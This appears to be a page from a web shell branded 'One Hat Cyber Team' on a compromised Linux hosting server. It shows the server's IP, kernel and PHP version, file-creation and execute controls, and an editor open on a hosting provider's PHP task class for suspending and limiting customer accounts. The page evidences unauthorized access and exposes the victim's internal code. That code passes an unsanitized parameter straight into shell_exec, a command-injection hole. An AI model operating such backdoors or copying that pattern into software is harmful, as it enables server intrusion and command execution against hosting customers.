One Hat Cyber Team
Your IP :
216.73.217.131
Server IP :
185.33.55.30
Server :
Linux cl30.webspacecontrol.com 5.14.0-611.38.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 10 17:21:28 EDT 2026 x86_64
Server Software :
Apache
PHP Version :
8.1.34
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
opt
/
cxs2
/
app
/
tasks
/
Edit File:
JobTask.php
<?php /** * JobTask * * @copyright Copyright (c) 2007 DotRoll Kft. (http://www.dotroll.com) * @author Zoltán Istvanovszki <zoltan.istvanovszki@dotroll.com> * @since 2023-08-17 * @package CXS_2.0 */ class JobTask extends \CommonTask { /** * List suspended webhosts */ public function listSuspendedAction() { $this->di->get('suspend')->list(); } /** * List email limited webhosts */ public function listLimitedAction() { $this->di->get('limit')->list(); } /** * Add redirect action * * @param string $hash Username */ public function addRedirectAction(string $hash = '') { $this->di->get('suspend')->addRedirect($hash); } /** * Add redirect action * * @param string $hash Username */ public function removeRedirectAction(string $hash = '') { $this->di->get('unsuspend')->removeSuspendRedirect($hash); } /** * Disable cron action * * @param string $hash Username */ public function disableCronAction(string $hash = '') { $this->di->get('suspend')->disableCron($hash); } /** * Restore cron action * * @param string $hash Username */ public function restoreCronAction(string $hash = '') { $this->di->get('unsuspend')->restoreCron($hash); } /** * Get All Users */ public function getAllUsersAction() { if ($this->getType() != 'DirectAdmin') { $this->dispatcher->setParam('jobResponse', ''); return; } $this->di->get('directadmin')->getAllUsers(); } /** * Get version */ public function getVersionAction() { if ($this->getType() != 'DirectAdmin') { $this->dispatcher->setParam('jobResponse', ''); return; } $this->di->get('directadmin')->getVersion(); } /** * Get Virtual Domains Action */ public function getVirtualDomainsAction() { if ($this->getType() != 'DirectAdmin') { $this->dispatcher->setParam('jobResponse', ''); return; } $this->di->get('directadmin')->getVirtualDomains(); } /** * List packages Action */ public function listPackagesAction() { if ($this->getType() != 'DirectAdmin') { $this->dispatcher->setParam('jobResponse', ''); return; } $this->di->get('directadmin')->listPackages(); } /** * Get user config * * @param string $hash Username */ public function getUserConfigAction(string $hash) { if ($this->getType() != 'DirectAdmin') { $this->dispatcher->setParam('jobResponse', ''); return; } $this->di->get('directadmin')->getUserConfig($hash); } /** * Get CXS result * * @param string $hash Username * @param string $env Enviroment */ public function getAction(string $hash, string $env = 'cli') { $this->di->get('cxs')->scan($hash, $env); } /** * Check action * * @param string $hash Username * @param string $env Enviroment */ public function checkAction(?string $hash, string $env = 'cli') { $this->di->get('cxs')->check($hash, $env); } /** * Limit action * * @param string $hash Username * @param string $env Enviroment */ public function limitAction(string $hash, string $env = 'cli') { $this->di->get('limit')->execute($hash, $env); } /** * Restore action * * @param string $hash Username * @param string $env Enviroment */ public function restoreAction(string $hash, string $env = 'cli') { $this->di->get('limit')->restore($hash, $env); } /** * Suspend action * * @param string $hash Username */ public function suspendAction(string $hash) { $this->di->get('suspend')->execute($hash); } /** * Unsuspend action * * @param string $hash Username */ public function unsuspendAction(string $hash) { $this->di->get('unsuspend')->execute($hash); } /** * Get Login URL * * @param string $params Parameters */ public function getLoginurlAction(string $params) { if ($this->getType() != 'DirectAdmin') { $this->dispatcher->setParam('jobResponse', ''); return; } $this->dispatcher->setParam('jobResponse', \json_encode(@\shell_exec("/usr/bin/da login-url $params"))); } }
Simpan